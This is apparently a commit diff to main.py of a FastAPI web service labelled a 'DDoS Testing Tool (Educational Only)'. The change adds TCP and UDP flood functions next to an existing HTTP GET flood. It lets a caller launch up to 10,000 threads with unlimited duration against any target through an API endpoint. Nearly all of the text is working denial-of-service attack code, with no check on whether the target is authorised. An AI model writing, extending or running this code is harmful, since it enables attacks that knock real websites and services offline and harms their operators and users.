Update main.py
Browse files
main.py
CHANGED
|
@@ -6,26 +6,35 @@ import threading
|
|
| 6 |
import requests
|
| 7 |
import time
|
| 8 |
import logging
|
| 9 |
-
|
|
|
|
|
|
|
|
|
|
| 10 |
from concurrent.futures import ThreadPoolExecutor
|
| 11 |
|
| 12 |
logging.basicConfig(level=logging.INFO)
|
| 13 |
logger = logging.getLogger(__name__)
|
| 14 |
|
| 15 |
-
app = FastAPI(title="Layer 7 DDoS Testing Tool (Educational Only)")
|
| 16 |
|
| 17 |
# Global attack control
|
| 18 |
attack_active = False
|
| 19 |
attack_thread = None
|
| 20 |
-
executor = ThreadPoolExecutor(max_workers=10000) #
|
| 21 |
|
| 22 |
class AttackConfig(BaseModel):
|
| 23 |
-
target: str
|
| 24 |
-
port:
|
| 25 |
-
duration: int
|
| 26 |
-
threads: int = 100
|
| 27 |
-
|
| 28 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 29 |
headers = {
|
| 30 |
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
| 31 |
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
@@ -38,27 +47,57 @@ def flood_target(target_url: str):
|
|
| 38 |
try:
|
| 39 |
session.get(target_url, headers=headers, timeout=5, verify=False)
|
| 40 |
except:
|
| 41 |
-
pass
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 42 |
|
| 43 |
def start_attack(config: AttackConfig):
|
| 44 |
global attack_active, attack_thread
|
| 45 |
attack_active = True
|
| 46 |
|
| 47 |
-
# Build target URL
|
| 48 |
-
protocol = "https" if config.target.startswith("https") else "http"
|
| 49 |
-
port = config.port or (443 if protocol == "https" else 80)
|
| 50 |
-
target_url = f"{config.target}:{port}"
|
| 51 |
-
|
| 52 |
# Determine thread count
|
| 53 |
-
thread_count = config.threads if config.threads != -1 else 10000
|
| 54 |
|
| 55 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 56 |
|
| 57 |
-
|
| 58 |
-
|
| 59 |
-
|
| 60 |
-
|
| 61 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 62 |
|
| 63 |
# Handle unlimited duration (-1)
|
| 64 |
if config.duration != -1:
|
|
@@ -67,8 +106,6 @@ def start_attack(config: AttackConfig):
|
|
| 67 |
else:
|
| 68 |
logger.info("Attack running indefinitely until manually stopped")
|
| 69 |
|
| 70 |
-
logger.info("Attack completed.")
|
| 71 |
-
|
| 72 |
def stop_attack():
|
| 73 |
global attack_active
|
| 74 |
attack_active = False
|
|
@@ -88,6 +125,10 @@ def launch_attack(config: AttackConfig):
|
|
| 88 |
if config.duration != -1 and config.duration > 5000:
|
| 89 |
raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")
|
| 90 |
|
|
|
|
|
|
|
|
|
|
|
|
|
| 91 |
attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
|
| 92 |
attack_thread.start()
|
| 93 |
return {"status": "attack_started", "config": config}
|
|
|
|
| 6 |
import requests
|
| 7 |
import time
|
| 8 |
import logging
|
| 9 |
+
import socket
|
| 10 |
+
import random
|
| 11 |
+
import struct
|
| 12 |
+
from typing import Optional, Literal
|
| 13 |
from concurrent.futures import ThreadPoolExecutor
|
| 14 |
|
| 15 |
logging.basicConfig(level=logging.INFO)
|
| 16 |
logger = logging.getLogger(__name__)
|
| 17 |
|
| 18 |
+
app = FastAPI(title="Layer 7 + Layer 4 DDoS Testing Tool (Educational Only)")
|
| 19 |
|
| 20 |
# Global attack control
|
| 21 |
attack_active = False
|
| 22 |
attack_thread = None
|
| 23 |
+
executor = ThreadPoolExecutor(max_workers=10000) # Maximum power mode
|
| 24 |
|
| 25 |
class AttackConfig(BaseModel):
|
| 26 |
+
target: str
|
| 27 |
+
port: int = 80
|
| 28 |
+
duration: int = 30 # -1 for unlimited
|
| 29 |
+
threads: int = 100 # -1 for unlimited
|
| 30 |
+
attack_type: Literal["layer7", "tcp", "udp"] = "layer7"
|
| 31 |
+
payload_size: int = 1024 # For Layer 4 attacks
|
| 32 |
+
|
| 33 |
+
def generate_payload(size: int) -> bytes:
|
| 34 |
+
"""Generate random payload for Layer 4 attacks"""
|
| 35 |
+
return bytes(random.getrandbits(8) for _ in range(size))
|
| 36 |
+
|
| 37 |
+
def layer7_attack(target_url: str):
|
| 38 |
headers = {
|
| 39 |
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
| 40 |
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
|
|
| 47 |
try:
|
| 48 |
session.get(target_url, headers=headers, timeout=5, verify=False)
|
| 49 |
except:
|
| 50 |
+
pass
|
| 51 |
+
|
| 52 |
+
def layer4_attack(target_ip: str, port: int, protocol: str, payload_size: int):
|
| 53 |
+
sock = None
|
| 54 |
+
try:
|
| 55 |
+
if protocol == "tcp":
|
| 56 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 57 |
+
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
| 58 |
+
sock.connect((target_ip, port))
|
| 59 |
+
else: # udp
|
| 60 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 61 |
+
|
| 62 |
+
while attack_active:
|
| 63 |
+
payload = generate_payload(payload_size)
|
| 64 |
+
if protocol == "tcp":
|
| 65 |
+
sock.send(payload)
|
| 66 |
+
else:
|
| 67 |
+
sock.sendto(payload, (target_ip, port))
|
| 68 |
+
time.sleep(0.01) # Small delay to prevent CPU overload
|
| 69 |
+
except Exception as e:
|
| 70 |
+
logger.error(f"Layer 4 attack error: {e}")
|
| 71 |
+
finally:
|
| 72 |
+
if sock:
|
| 73 |
+
sock.close()
|
| 74 |
|
| 75 |
def start_attack(config: AttackConfig):
|
| 76 |
global attack_active, attack_thread
|
| 77 |
attack_active = True
|
| 78 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 79 |
# Determine thread count
|
| 80 |
+
thread_count = config.threads if config.threads != -1 else 10000
|
| 81 |
|
| 82 |
+
# Build target URL for Layer 7
|
| 83 |
+
if config.attack_type == "layer7":
|
| 84 |
+
protocol = "https" if config.target.startswith("https") else "http"
|
| 85 |
+
target_url = f"{config.target}:{config.port}"
|
| 86 |
+
logger.info(f"Starting Layer 7 attack on {target_url} with {thread_count} threads")
|
| 87 |
|
| 88 |
+
for _ in range(thread_count):
|
| 89 |
+
executor.submit(layer7_attack, target_url)
|
| 90 |
+
else:
|
| 91 |
+
# Extract IP from target URL if needed
|
| 92 |
+
try:
|
| 93 |
+
target_ip = socket.gethostbyname(config.target.split("//")[-1].split("/")[0])
|
| 94 |
+
except:
|
| 95 |
+
raise HTTPException(status_code=400, detail="Invalid target URL")
|
| 96 |
+
|
| 97 |
+
logger.info(f"Starting {config.attack_type.upper()} attack on {target_ip}:{config.port} with {thread_count} threads")
|
| 98 |
+
|
| 99 |
+
for _ in range(thread_count):
|
| 100 |
+
executor.submit(layer4_attack, target_ip, config.port, config.attack_type, config.payload_size)
|
| 101 |
|
| 102 |
# Handle unlimited duration (-1)
|
| 103 |
if config.duration != -1:
|
|
|
|
| 106 |
else:
|
| 107 |
logger.info("Attack running indefinitely until manually stopped")
|
| 108 |
|
|
|
|
|
|
|
| 109 |
def stop_attack():
|
| 110 |
global attack_active
|
| 111 |
attack_active = False
|
|
|
|
| 125 |
if config.duration != -1 and config.duration > 5000:
|
| 126 |
raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")
|
| 127 |
|
| 128 |
+
# Validate payload size
|
| 129 |
+
if config.payload_size > 65507:
|
| 130 |
+
raise HTTPException(status_code=400, detail="Max payload size is 65507 bytes")
|
| 131 |
+
|
| 132 |
attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
|
| 133 |
attack_thread.start()
|
| 134 |
return {"status": "attack_started", "config": config}
|